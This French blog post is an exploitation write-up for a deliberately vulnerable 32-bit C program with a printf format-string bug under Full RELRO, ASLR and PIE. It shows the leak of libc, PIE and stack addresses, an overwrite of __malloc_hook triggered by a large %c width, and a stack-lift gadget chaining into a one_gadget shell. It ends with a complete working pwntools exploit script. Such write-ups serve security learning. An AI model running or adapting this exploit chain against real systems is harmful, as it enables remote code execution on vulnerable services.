Exploitation d’une format string Full RELRO
Hier, je me suis dis que j’allais me remettre au PWN et pour ça quoi de mieux qu’un challenge de format string ?
Ni une ni deux je code un petit bout de programme assez simple :
#include <stdio.h>
#include <stdlib.h>
// gcc -m32 -g -Wl,-z,relro,-z,now -fPIE -pie -o main main.c
#define SIZE 4096
void main() {
char buf[SIZE];
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
while(1) {
read(STDIN_FILENO, buf, SIZE-1);
printf(buf);
}
}
Les binaires utilisés sont disponibles ici :
- main - md5sum:
06716085db58d842b6884b9529713ccd
- libc.so.6 - md5sum:
e9706add3210b1044bf5955b88550548
Clairement, le bout de code suivant est vulnérable aux format string :
read(STDIN_FILENO, buf, SIZE-1);
printf(buf);
Dans la suite de ce blogpost, je vais supposer que :
- Vous savez exploiter une
format string
pour écrire à une adresse - Que vous comprenez l’ALSR et la PIE
- Que vous savez faire une ROP basique en 32-bits
Step 1 : Le leak
Hé oui, notre Linux à l’ASLR d’activé sinon ce ne serait pas drôle !
Donc on va partir sur un leak des familles dans le but de leaker la base de la libc, pie et la stack.
Pour ce faire, on va chercher dans la stack les addresses qui commencent par :
0xf7
-> pour la libc0x56
-> pour la PIE0xff
-> pour la stack
p = process(PROCESS)
for i in range(1,1000):
value = send_recv("%" + str(i) + "$08x")[:8]
log.info(str(i).rjust(3,'0') +" => "+ value)
log.info("PID :" + str(p.pid))
raw_input()
p.interactive()
Ce qui nous affiche :
[+] Starting local process './main': pid 12135
[*] 001 => ffa17f7c
...
[*] 196 => f7ea9000
...
[*] 301 => 565c32cd
[*] PID :12135
On s’y attache avec gdb-gef
et on récupère les différentes adresses de base des sections :
gdb -q -p 12135
gef➤ vmmap
0x565c3000 0x565c4000 0x00000000 r-- /home/romain/Documents/Pwn/Format/main
...
0xf7cc4000 0xf7ce1000 0x00000000 r-- /usr/lib32/libc-2.30.so
...
0xff9f9000 0xffa1a000 0x00000000 rw- [stack]
On peut calculer nos adresses avec le code suivant :
p = process(PROCESS)
# Leaking libc base
libc_offset = 0xf7ea9000 - 0xf7cc4000
libc_leak = send_recv("%196$08x") # 196 => leak d'une addresse de la libc
libc_leak = int(libc_leak[:8], 16)
libc.address = libc_leak - libc_offset
# Leaking elf base
elf_offset = 0x565c32cd - 0x565c3000
elf_leak = send_recv("%301$08x") # 301 => leak d'une addresse de la pie
elf_leak = int(elf_leak[:8], 16)
elf.address = elf_leak - elf_offset
# Leaking stack base
stack_offset = 0xffa17f7c - 0xffacf000
stack_leak = send_recv("%1$08x") # 1 => leak d'une addresse de la stack
stack_leak = int(stack_leak[:8], 16)
stack_base = (stack_leak - stack_offset) & 0xfffff000
Step 2 : __malloc_hook
kesako ?
Notre but maintenant est de pouvoir réécrire une adresse afin de changer le flux d’éxecution.
Malheureusement, écrire une ROP dans la stack n’est pas possible parcequ’on est dans un while(1)
et qu’on ne passera jamais sur un ret
.
Il n’est pas possible non plus de réécrire une adresse de la GOT
afin de la faire pointer sur system()
.
C’est la que viens un trick plutôt connu, plusieurs fonctions hook
de la libc son réinscriptible même en Full RELRO : https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html
Donc en gros on peut controler __malloc_hook
qui sera éxecuté si un malloc
est éxecuté.
Là vous allez me dire “Mais, t’as pas de malloc
dans ton programme lel !”.
Let’s dig into printf
internals
Si on creuse dans le code de printf, il existe des cas ou printf
va appeler malloc
et donc trigg notre __malloc_hook
.
Pour que ça trigg malloc
, il faut que la chaine soit supérieur à SIZE_MAX
soit 65537.
Donc un simple printf("%65537c")
suffit à appeler un malloc
.
Réécriture de __malloc_hook
Pour finir on va exploiter la format string
afin de réécrire le __malloc_hook
.
Comme je suis un petit flemmard, je vais utiliser les outils intégrés à pwntool
qui va se charger de tout faire à notre place :
fmt = FmtStr(send_recv, 7)
fmt.write( libc.symbols['__malloc_hook'], 0x41414141 )
fmt.execute_writes()
send_recv("%65537c")
et bim et bam et boum :
─────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "main", stopped, reason: SIGSEGV
À la recherche du one_gadget
Lorsque __malloc_hook
va être appelé, nous ne contrôlerons pas ses paramêtres, c’est pour ça qu’il est important de trouver un moyen d’appeler une fonction ou un bout de code ne prenant pas de paramètres.
Si une fonction win()
définit comme la suivante existait, il serait simple de remplacer __malloc_hook
par win()
:
void win(){
system("/bin/bash");
}
Malheureusement dans notre cas, il n’y en a pas. Il va donc falloir se tourner vers une one_gadget
.
Un one_gadget
est un gadget qui, si les conditions sont remplient, va permettre d’éxecuter /bin/sh
, exemple :
0x1438a3 execl("/bin/sh", eax)
constraints:
ebp is the GOT address of libc
eax == NULL
Pour trouver les one_gadget
, il suffit de faire un gem install one_gadget
. En lui passant la libc
utilisée par le binaire, dans mon cas j’obtiens l’output suivant :
➜ one_gadget /usr/lib32/libc.so.6
0x1438a3 execl("/bin/sh", eax)
constraints:
ebp is the GOT address of libc
eax == NULL
0x1438a4 execl("/bin/sh", [esp])
constraints:
ebp is the GOT address of libc
[esp] == NULL
J’ai donc deux gadgets, un avec une condition telle que eax == NULL
et l’autre avec une condition telle que [esp] == NULL
.
Dans mon cas aucun des deux n’est utilisable car aucune des conditions n’est rempli à l’appel du __malloc_hook
C’est la que @Tomtombinary m’a soufflé une idée.
Step 3 : Un ptit coup d’ascensceur
L’idée était plutôt simple, trouver dans la libc un gadget qui fait du stack lifting
.
Vu que je n’ai pas la possiblité de modifier de faire une ROP par manque de ret
dans mon while(1)
, trouver un moyen de le générer et de contrôler la stack à ce moment précis.
C’est là qu’un gadget particulier intervient :
0x00035714 : add esp, 0x12c ; ret
En gros, si je défini __malloc_hook
sur libc_base + 0x00035714
.
Je peux faire une ROP à l’adresse d'esp+0x12c
au moment où __malloc_hook
sera appelé contenant mon one_gadget
et un gadget mettant en place une condition :
Et voilà j’ai ma RCE, peut être un peu plus difficilement que je l’avais prévu.
Exploit final :
Pour l’exploitation final, j’ai du rajouter un bruteforce et une retsled
( enchainement de ret
similaire à une nopsled
mais utile pour les ROP) car je pense que les variables d’environnement changeaient la configuration de la stack.
#!/usr/bin/python2.7
from pwn import *
context.arch = "x86"
PROCESS = "./main"
elf = ELF(PROCESS)
libc = elf.libc
p = None
def send_recv(str, debug = False):
global p
p.sendline(str)
val = p.recv()
if(debug):
print(len(str))
print(repr(str))
log.info(val)
return val
def main():
global p
# p = process(PROCESS,aslr = False)
# C'est crade mais osef
while True:
try:
p = process(PROCESS,env={})
# Leaking libc base
libc_offset = 0xf7f60000 - 0xf7d7b000
libc_leak = send_recv("%196$08x") # 196 => leak d'une addresse de la libc
libc_leak = int(libc_leak[:8], 16)
libc.address = libc_leak - libc_offset
# Leaking elf base
elf_offset = 0x566052cd - 0x56605000
elf_leak = send_recv("%301$08x") # 301 => leak d'une addresse de la pie
elf_leak = int(elf_leak[:8], 16)
elf.address = elf_leak - elf_offset
# Leaking stack base
stack_offset = 0xffffbfec - 0xfffdd000
stack_leak = send_recv("%1$08x") # 1 => leak d'une addresse de la stack
stack_leak = int(stack_leak[:8], 16)
stack_base = (stack_leak - stack_offset) & 0xfffff000
# 0x00035714 : add esp, 0x12c ; ret
stack_lift_gadget = libc.address + 0x00035714
# 0x0001d22c : ret
ret_gadget = libc.address + 0x0001d22c
offset_ret = 0xffff9548 - 0xfffdd000
log.info("libc base @ " + hex(libc.address))
log.info("elf base @ " + hex(elf.address))
log.info("stack base @ " + hex(stack_base))
log.info("ret lift addr @ " + hex(stack_base + offset_ret))
log.info("stack lift @ " + hex(stack_lift_gadget))
log.info("__malloc_hook @ " + hex(libc.symbols['__malloc_hook']))
# Paddind de la fmt a 7
# fmt = FmtStr(send_recv)
fmt = FmtStr(send_recv, 7)
# Ecriture ret_sled
ret_sled_length = 30
for i in range(ret_sled_length):
fmt.write(stack_base + offset_ret + i * 4, ret_gadget)
# one gadget dans la stack tmtc
# 0x00032480 : xor eax, eax ; ret
xor_eax = libc.address + 0x00032480
'''
0x1438a3 execl("/bin/sh", eax)
constraints:
ebp is the GOT address of libc
eax == NULL
'''
# Ecriture de la ROP
fmt.write(stack_base + offset_ret + (ret_sled_length+0) * 4, xor_eax )
fmt.write(stack_base + offset_ret + (ret_sled_length+1) * 4, libc.address + 0x1438a3 )
# Ecriture du gadget stack_lifting
fmt.write(libc.symbols['__malloc_hook'], stack_lift_gadget)
fmt.execute_writes()
log.info("PID : " + str(p.pid))
p.sendline('%65537c')
p.clean()
p.sendline('id')
print(p.recv())
p.interactive()
except:
pass
if __name__ == '__main__':
main()
Pour toute questions n’hésitez pas à me contacter sur Twitter :)